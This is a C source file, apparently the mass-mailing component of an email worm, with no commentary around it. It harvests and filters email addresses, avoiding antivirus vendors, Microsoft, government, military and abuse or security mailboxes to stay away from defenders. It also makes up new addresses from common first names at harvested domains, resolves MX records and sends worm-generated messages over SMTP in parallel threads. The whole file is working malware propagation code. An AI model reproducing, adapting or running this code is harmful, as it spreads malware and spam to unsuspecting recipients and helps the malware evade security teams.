#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "massmail.h"
#include "lib.h"
#include "xdns.h"
#include "scan.h"
#include "msg.h"
#include "xsmtp.h"
#define MAX_DOMAIN 80
struct mailq_t * volatile massmail_queue;
DWORD volatile mmshed_run_threads;
//-----------------------------------------------------------------------------
// E-mail filter
#define isemailchar(c) (isalnum(c) || xstrchr("-._!@",(c)))
#define BEGINEND_INV "-._!"
#define TRIM_END(s) {
int i;
for (i=lstrlen(s)-1; i>=0; i--) {
if (isspace(s[i])) continue;
if (xstrchr(BEGINEND_INV, s[i])) continue;
if (!isemailchar(s[i])) continue;
if (s[i] == '@') continue;
break;
}
s[i+1] = 0;
}
static int cut_email(const char *in_buf, char *out_buf)
{
int i, j;
if (lstrlen(in_buf) < 3)
return 1;
for (i=0; in_buf[i] && (isspace(in_buf[i]) || !isemailchar(in_buf[i])); i++);
for (; in_buf[i] && xstrchr(BEGINEND_INV, in_buf[i]); i++);
for (j=0; in_buf[i]; i++) {
if (in_buf[i] == '@') break;
if (!isemailchar(in_buf[i])) continue;
out_buf[j++] = tolower(in_buf[i]);
}
if (in_buf[i] != '@') return 1;
while (in_buf[i] == '@') i++;
out_buf[j] = 0;
TRIM_END(out_buf);
out_buf[j++] = '@';
for (; in_buf[i]; i++) {
if (!isemailchar(in_buf[i])) continue;
if ((out_buf[j-1] == '.') && (in_buf[i] == '.')) continue;
out_buf[j++] = tolower(in_buf[i]);
}
out_buf[j] = 0;
TRIM_END(out_buf);
if ((lstrlen(out_buf) < 3) || (out_buf[0] == '@'))
return 1;
return 0;
}
static void email2parts(char *email, char *username, char *domain)
{
int i;
for (i=0; (email[i] != '@') && email[i]; i++)
if (username && !isspace(email[i])) *username++=email[i];
if (username) *username = 0;
if ((email[i] == 0) || (domain == NULL)) {
if (domain) lstrcpy(domain, email);
return;
}
for (i++; email[i]; i++)
if (!isspace(email[i])) *domain++=email[i];
*domain = 0;
}
static email_check2(char *email)
{
static int i, j, tld_len;
static char usr[256], dom[256];
if (email[0] == 0) return 1;
for (i=0, j=0; email[i]; i++)
if (email[i] == '@') j++;
if (j != 1) return 1;
for (i=lstrlen(email); i>0; i--) {
if (email[i-1] == '.') break;
if (email[i-1] == '@') return 1;
}
if (i == 0) return 1;
tld_len = lstrlen(email) - i + 1;
if ((tld_len < 2) || (tld_len > 4)) return 1;
email2parts(email, usr, dom);
i = lstrlen(usr);
if ((i < 2) || (i > 24)) return 1;
i = lstrlen(dom);
if ((i < 6) || (i > 42)) return 1; /* at least "xxx.xx" */
for (i=lstrlen(dom)-1; i>0; i--)
if ((dom[i] == '.') && (dom[i-1] == '.')) return 1;
for (i=0, j=0; usr[i]; i++)
if ((usr[i] >= '0') && (usr[i] <= '9')) j++;
i = (j * 100) / lstrlen(usr);
if (lstrlen(usr) > 12) {
if (i >= 50) return 1;
} else if (lstrlen(usr) >= 6) {
if (i >= 60) return 1;
} else {
if (i >= 70) return 1;
}
return 0;
}
static int email_filtdom(const char *email)
{
static const char *nospam_domains[] = {
"avp", "syma", "icrosof", "msn.", "hotmail", "panda",
"sopho", "borlan", "inpris", "example", "mydomai", "nodomai",
"ruslis", /*vi[ruslis]t */
".gov", "gov.", ".mil", "foo.",
/*"messagelabs", "support" */
NULL,
"nnn"
};
static const char *loyal_list[] = {
"berkeley", "unix", "math", "bsd", "mit.e", "gnu", "fsf.",
"ibm.com", "google", "kernel", "linux", "fido", "usenet",
"iana", "ietf", "rfc-ed", "sendmail", "arin.", "ripe.",
"isi.e", "isc.o", "secur", "acketst", "pgp",
"tanford.e", "utgers.ed", "mozilla",
/* "sourceforge", "slashdot", */
NULL,
"nnbe_loyal:" /* for final .exe */
};
register int i;
char dom[256];
while (*email && *email != '@') email++;
if (*email != '@') return 0;
for (i=0,email++; (i<255) && *email; i++, email++)
dom[i] = tolower(*email);
dom[i] = 0;
for (i=0; loyal_list[i]; i++)
if (xstrstr(dom, loyal_list[i]) != NULL)
return 100;
for (i=0; nospam_domains[i]; i++)
if (xstrstr(dom, nospam_domains[i]) != NULL)
return 1;
return 0;
}
static int email_filtuser(const char *email)
{
static const char *nospam_fullnames[] = {
"root", "info", "samples", "postmaster",
"webmaster", "noone", "nobody", "nothing", "anyone",
"someone", "your", "you", "me", "bugs", "rating", "site",
"contact", "soft", "no", "somebody", "privacy", "service",
"help", "not", "submit", "feste", "ca", "gold-certs",
"the.bat", "page",
/* "support" */
NULL
};
static const char *nospam_anypart[] = {
"admin", "icrosoft", "support", "ntivi",
"unix", "bsd", "linux", "listserv",
"certific", "google", "accoun",
/* "master" */
NULL
};
register int i;
char usr[256], tmp[16];
for (i=0; (i<255) && *email && (*email != '@'); i++, email++)
usr[i] = tolower(*email);
usr[i] = 0;
if (*email != '@') return 0;
for (i=0; nospam_fullnames[i]; i++)
if (lstrcmp(usr, nospam_fullnames[i]) == 0) return 1;
if (xstrncmp(usr, "spm", 3) == 0) return 1;
rot13(tmp, "fcnz"); /* "spam" */
//if (xstrncmp(usr, tmp, 4) == 0) return 1;
if (xstrstr(usr, tmp) != NULL) return 1;
if (xstrncmp(usr, "www", 3) == 0) return 1;
if (xstrncmp(usr, "secur", 5) == 0) return 1;
if (xstrncmp(usr, "abuse", 5) == 0) return 1;
for (i=0; nospam_anypart[i]; i++)
if (xstrstr(usr, nospam_anypart[i]) != NULL) return 1;
return 0;
}
static int email_filter(const char *in, char *out)
{
int i, j;
if (cut_email(in, out)) return 1;
for (;;) {
if (out[0] == 0) break;
j = email_check2(out);
if (j == 0) break;
/* this is to avoid ".nospam", ".dontspam", etc. */
/* andy@host.somedomain.com.nospam */
for (i=(lstrlen(out)-1); i>=0; i--)
if (out[i] == '@' || out[i] == '.') break;
if (i <= 0) break;
if (out[i] != '.') break;
out[i] = 0;
}
if (j != 0) return 1;
if (email_filtdom(out)) return 1;
if (email_filtuser(out)) return 1;
return 0;
}
int massmail_addq(const char *email, int prior)
{
char m1[256];
int i;
struct mailq_t *p1;
if (lstrlen(email) > 128) return 1;
if (email_filter(email, m1)) return 1;
for (p1=massmail_queue; p1; p1=p1->next)
if (lstrcmpi(p1->to, m1) == 0) return 2;
i = sizeof(struct mailq_t) + lstrlen(m1) + 4;
p1 = (struct mailq_t *)HeapAlloc(GetProcessHeap(), 0, i);
if (p1 == NULL) return 1;
memset(p1, 0, i);
p1->state = 0;
p1->tick_got = GetTickCount();
p1->priority = (char)prior;
lstrcpy(p1->to, m1);
p1->next = massmail_queue;
massmail_queue = p1;
if (xstrstr(m1, ".edu"))
p1->priority++;
return 0;
}
//-----------------------------------------------------------------------------
// EMAIL GENERATOR
static const char *gen_names[] = {
"john", "john", "alex", "michael", "james", "mike",
"kevin", "david", "george", "sam", "andrew", "jose",
"leo", "maria", "jim", "brian", "serg", "mary",
"ray", "tom", "peter", "robert", "bob", "jane",
"joe", "dan", "dave", "matt", "steve", "smith",
"stan", "bill", "bob", "jack", "fred", "ted",
"adam", "brent", "alice", "anna", "brenda", "claudia",
"debby", "helen", "jerry", "jimmy", "julie", "linda",
"sandra"
};
#define gen_names_cnt (sizeof(gen_names) / sizeof(gen_names[0]))
void mm_gen(void)
{
struct mailq_t *mq;
int queue_total, i, j;
char domain[128], *p;
char out_mail[256];
for (mq=massmail_queue, queue_total=0; mq; mq=mq->next, queue_total++);
if (queue_total == 0) return;
i = xrand32() % queue_total;
for (j=0,mq=massmail_queue; (j < i) && mq; mq=mq->next, j++);
if (mq == NULL) return;
for (p=mq->to; *p && *p != '@'; p++);
if (*p != '@') return;
lstrcpyn(domain, p+1, MAX_DOMAIN-1);
i = xrand16() % gen_names_cnt;
lstrcpy(out_mail, gen_names[i]);
lstrcat(out_mail, "@");
lstrcat(out_mail, domain);
massmail_addq(out_mail, 1);
}
//-----------------------------------------------------------------------------
// DNS caching
#define MMDNS_CACHESIZE 256
struct dnscache_t {
struct dnscache_t *next;
struct mxlist_t *mxs;
char domain[MAX_DOMAIN];
unsigned long tick_lastused;
int ref;
};
struct dnscache_t * volatile mm_dnscache;
struct dnscache_t *mmdns_getcached(const char *domain)
{
register struct dnscache_t *p;
for (p=mm_dnscache; p; p=p->next)
if (lstrcmpi(p->domain, domain) == 0) return p;
return NULL;
}
int mmdns_addcache(const char *domain, struct mxlist_t *mxs)
{
register struct dnscache_t *p, *p_oldest, *p_new;
int cache_size;
p_oldest = NULL;
for (p=mm_dnscache, cache_size=0; p; cache_size++) {
if (p->ref == 0) {
if (p_oldest == NULL) {
p_oldest = p;
} else {
if (p_oldest->tick_lastused < p->tick_lastused)
p_oldest = p;
}
}
p = p->next;
}
do {
if (cache_size <= MMDNS_CACHESIZE) break;
if (p_oldest == NULL)
return 1;
if (p_oldest->ref != 0) /* FIXME: should try to search for another unused entry */
return 1;
/* or: { break; } */
p_oldest->ref = 1;
p_oldest->domain[0] = 0;
p_oldest->tick_lastused = GetTickCount();
free_mx_list(p_oldest->mxs);
lstrcpyn(p_oldest->domain, domain, MAX_DOMAIN-1);
p_oldest->mxs = mxs;
p_oldest->ref = 0;
return 0;
} while(0);
p_new = (struct dnscache_t *)HeapAlloc(GetProcessHeap(), 0, sizeof(struct dnscache_t));
if (p_new == NULL)
return 1;
memset(p_new, ' ', sizeof(struct dnscache_t));
p_new->mxs = mxs;
lstrcpyn(p_new->domain, domain, MAX_DOMAIN-1);
p_new->tick_lastused = GetTickCount();
p_new->ref = 0;
p_new->next = mm_dnscache;
mm_dnscache = p_new;
return 0;
}
struct dnscache_t *mm_get_mx(const char *domain)
{
struct dnscache_t *cached;
struct mxlist_t *mxs;
if ((cached = mmdns_getcached(domain)) != NULL) {
cached->ref++;
return cached;
}
mxs = get_mx_list(domain);
if ((mxs == NULL) && ((GetTickCount() % 4) != 0))
return NULL;
mmdns_addcache(domain, mxs);
cached = mmdns_getcached(domain);
if (cached == NULL)
/* original: */
return NULL;
/* should be: */
/* { free_mx_list(mxs); return NULL; } */
cached->ref++;
return cached;
}
//-----------------------------------------------------------------------------
void mmsender(struct mailq_t *email)
{
char domain[MAX_DOMAIN], *p;
char *msg = NULL;
struct dnscache_t *mxs_cached=NULL;
struct mxlist_t *mxs=NULL;
for (p=email->to; *p && *p != '@'; p++);
if (*p++ != '@') return;
lstrcpyn(domain, p, MAX_DOMAIN-1);
mxs_cached = mm_get_mx(domain);
if (mxs_cached == NULL)
return;
msg = msg_generate(email->to);
if (msg == NULL) goto ex1;
smtp_send(mxs_cached->mxs, msg);
if (msg != NULL)
GlobalFree((HGLOBAL)msg);
ex1: if (mxs_cached != NULL)
if (mxs_cached->ref > 0) mxs_cached->ref--;
return;
}
static DWORD _stdcall mmsender_th(LPVOID pv)
{
struct mailq_t *mq = (struct mailq_t *)pv;
InterlockedIncrement(&mmshed_run_threads);
if (mq != NULL) {
mq->state = 1;
mmsender(mq);
mq->state = 2;
}
if (mmshed_run_threads > 0)
InterlockedDecrement(&mmshed_run_threads);
ExitThread(0);
return 0;
}
//-----------------------------------------------------------------------------
/* MASSMAIL SHEDULER */
#define MMSHED_THREADS 4
#define MMSHED_QUEUE_OVERFLOW 4096 /* critical number of requests in the queue */
#define MMSHED_UNPROC_FREEZE 512
#define MMSHED_REQ_EXPIRES (2*3600) /* in seconds */
#define MMSHED_GENTIMEOUT (6*1000) /* in milliseconds */
void mmshed_rmold(void)
{
register struct mailq_t *mq, **mq_ptr, *p1;
int delta;
mq_ptr = (struct mailq_t **)&massmail_queue;
mq = (struct mailq_t *)massmail_queue;
while (mq != NULL) {
if (mq->state != 2) { /* != "completed" */
mq_ptr = &mq->next;
mq = mq->next;
continue;
}
delta = (GetTickCount() - mq->tick_got) / 1000;
if (((delta+5) < 0) || (delta > MMSHED_REQ_EXPIRES)) {
p1 = mq;
*mq_ptr = mq->next;
mq = mq->next;
HeapFree(GetProcessHeap(), 0, p1);
} else {
mq_ptr = &mq->next;
mq = mq->next;
}
}
}
void massmail_main(void)
{
register struct mailq_t *mq1;
struct mailq_t *mq_best;
int queue_status; /* 0=okay, 1=many unprocessed, 2=no unprocessed */
int queue_total, queue_unprocessed;
HANDLE hThread;
DWORD tid, last_req_tick;
queue_status = 0;
mmshed_run_threads = 0;
for (;;) {
while (is_online() == 0) {
Sleep(2048);
scan_freeze(1);
Sleep(16384 - 2048);
}
scan_freeze((queue_status == 1) ? 1 : 0);
queue_total = 0;
queue_unprocessed = 0;
last_req_tick = 0;
for (mq1=massmail_queue, mq_best=NULL; mq1; mq1=mq1->next) {
queue_total++;
if (mq1->state == 0) { /* "not processed" */
queue_unprocessed++;
if (mq_best) {
if (mq_best->priority > mq1->priority)
mq_best = mq1;
} else {
mq_best = mq1;
}
}
if (mq1->tick_got >= last_req_tick)
last_req_tick = mq1->tick_got;
}
if (queue_total >= MMSHED_QUEUE_OVERFLOW) {
mmshed_rmold();
if (queue_unprocessed > MMSHED_UNPROC_FREEZE) {
queue_status = 1;
scan_freeze(1);
} else {
queue_status = 0;
}
} else {
queue_status = 0;
}
if ((queue_unprocessed == 0) || (mq_best == NULL)) {
queue_status = 2;
scan_freeze(0);
if ((queue_total >= 3) && last_req_tick && ((GetTickCount() - last_req_tick) >= MMSHED_GENTIMEOUT)) {
mm_gen();
Sleep(128);
} else {
Sleep(1024);
}
continue;
}
if (mmshed_run_threads >= MMSHED_THREADS) {
Sleep(256);
continue;
}
mq_best->state = 1;
hThread = CreateThread(0, 0, mmsender_th, (LPVOID)mq_best, 0, &tid);
if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
mq_best->state = 2;
Sleep(1024);
continue;
}
CloseHandle(hThread);
Sleep(256);
}
}
void massmail_init(void)
{
massmail_queue = NULL;
mmshed_run_threads = 0;
mm_dnscache = NULL;
}
DWORD _stdcall massmail_main_th(LPVOID pv)
{
massmail_main();
ExitThread(0);
return 0;
}